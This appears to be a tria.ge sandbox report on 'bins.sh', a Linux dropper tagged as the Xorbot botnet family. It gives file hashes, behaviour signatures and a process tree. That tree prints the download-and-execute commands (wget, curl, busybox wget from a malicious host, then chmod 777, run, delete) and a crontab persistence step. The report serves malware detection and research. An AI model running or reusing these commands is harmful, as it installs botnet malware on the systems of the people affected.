Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
28/02/2025, 03:16
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
e30ffb2eaaca92a1709929457fea3835
-
SHA1
74c6b5d3241f81e97f9ffb9cc0024d1891fca787
-
SHA256
ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b
-
SHA512
6ebd2a3b7566114e474308ecf3beb317db5e0434eafebebb917c39627d2a8501cedd6e28b5ff5d139f97b067587b628cc4464eb9444fa8af209988a3d987d45d
-
SSDEEP
192:lUhghhYFhgShMhQhq/P5tqUUZ+4hghhYFhgShMhQhq/PRsc:lUShOFSS2WqgUUI4ShOFSS2Wq
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1536 chmod 1544 chmod 1552 chmod 1560 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H 1537 bins.sh /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE 1545 bins.sh /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp 1553 bins.sh /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 1561 bins.sh -
Renames itself 1 IoCs
pid Process 1562 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.tPkQUh crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/14/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/202/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/478/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/693/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1056/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1152/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1157/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1168/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1037/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/3/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/8/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/965/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1062/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1199/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1203/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1328/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/32/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/158/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/416/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/434/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/436/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1161/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1202/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1570/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/19/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/161/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/452/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/621/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1520/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/20/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/26/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/238/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/415/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/15/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/17/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/585/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/673/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1086/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1299/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/21/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/81/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/170/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1274/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1569/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/29/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/78/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/542/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1189/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/177/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1184/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/167/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/168/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1144/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1165/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1314/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/137/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/172/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/682/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1129/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/175/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1309/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/1521/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/12/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 File opened for reading /proc/18/cmdline 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1535 busybox 1540 wget 1543 busybox 1548 wget 1549 curl 1551 busybox 1528 wget 1533 curl 1541 curl 1571 wget -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE wget File opened for modification /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE curl File opened for modification /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp wget File opened for modification /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp busybox File opened for modification /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 wget File opened for modification /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 curl File opened for modification /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H wget File opened for modification /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H curl File opened for modification /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H busybox File opened for modification /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE busybox File opened for modification /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp curl File opened for modification /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0 busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:1526 -
/bin/rm/bin/rm bins.sh2⤵PID:1527
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1528
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1533
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1535
-
-
/bin/chmodchmod 777 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- File and Directory Permissions Modification
PID:1536
-
-
/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H./1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵PID:1537
-
-
/bin/rmrm 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵PID:1539
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1540
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1541
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1543
-
-
/bin/chmodchmod 777 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- File and Directory Permissions Modification
PID:1544
-
-
/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE./4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵PID:1545
-
-
/bin/rmrm 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵PID:1547
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1548
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1549
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1551
-
-
/bin/chmodchmod 777 vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- File and Directory Permissions Modification
PID:1552
-
-
/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp./vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵PID:1553
-
-
/bin/rmrm vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵PID:1555
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- Writes file to tmp directory
PID:1556
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- Writes file to tmp directory
PID:1557
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- Writes file to tmp directory
PID:1559
-
-
/bin/chmodchmod 777 793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- File and Directory Permissions Modification
PID:1560
-
-
/tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0./793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- Renames itself
- Reads runtime system information
PID:1561 -
/bin/shsh -c "crontab -l"3⤵PID:1563
-
/usr/bin/crontabcrontab -l4⤵PID:1564
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1565
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1566
-
-
-
-
/bin/rmrm 793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵PID:1568
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵
- System Network Configuration Discovery
PID:1571
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
210B
MD53a6fce33a90d738ac952a65005128bd8
SHA1195dd0922691f8697228dcde16709f5da6105afb
SHA256db5fa911ea9be969d20b948db87e0919e39233147030b9a01c8e30294ef9423b
SHA512c1314e39792603314de6186b51a18e196383a4569680a2c058cc76fd066ab34f4726997b92fcd595add2dad4a51d9fdd103712ef6beaa0a34e75ea7d4081fc05